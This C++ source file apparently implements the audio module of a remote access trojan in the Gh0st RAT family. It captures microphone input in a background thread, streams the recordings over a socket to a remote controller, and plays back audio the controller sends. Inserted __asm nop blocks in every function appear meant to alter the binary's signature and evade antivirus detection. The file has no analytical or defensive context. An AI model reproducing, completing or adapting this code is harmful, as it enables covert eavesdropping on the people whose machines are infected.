📄 audiomanager.cpp
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// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "AudioManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
bool CAudioManager::m_bIsWorking = false;
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
{__asm
{
nop
NOP
}
if (!Initialize())
return;
BYTE bToken = TOKEN_AUDIO_START;
Send(&bToken, 1);
// Wait for remote dialog open and init
WaitForDialogOpen();
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
}
CAudioManager::~CAudioManager()
{__asm
{
nop
NOP
}
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
delete m_lpAudio;
}
bool CAudioManager::Initialize()
{__asm
{
nop
NOP
}
if (!waveInGetNumDevs())
return false;
// 正在使用中.. 防止重复使用
if (m_bIsWorking)
return false;
m_lpAudio = new CAudio;
m_bIsWorking = true;
return true;
}
int CAudioManager::sendRecordBuffer()
{__asm
{
nop
NOP
}
DWORD dwBytes = 0;
UINT nSendBytes = 0;
LPBYTE lpBuffer = m_lpAudio->getRecordBuffer(&dwBytes);
if (lpBuffer == NULL)
return 0;
LPBYTE lpPacket = new BYTE[dwBytes + 1];
lpPacket[0] = TOKEN_AUDIO_DATA;
memcpy(lpPacket + 1, lpBuffer, dwBytes);
if (dwBytes > 0)
nSendBytes = Send(lpPacket, dwBytes + 1);
delete lpPacket;
return nSendBytes;
}
void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
{__asm
{
nop
NOP
}
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{__asm
{
nop
NOP
}
NotifyDialogIsOpen();
return;
}
m_lpAudio->playBuffer(lpBuffer, nSize);
}
DWORD WINAPI CAudioManager::WorkThread( LPVOID lparam )
{__asm
{
nop
NOP
}
CAudioManager *pThis = (CAudioManager *)lparam;
while (pThis->m_bIsWorking)
pThis->sendRecordBuffer();
return -1;
}
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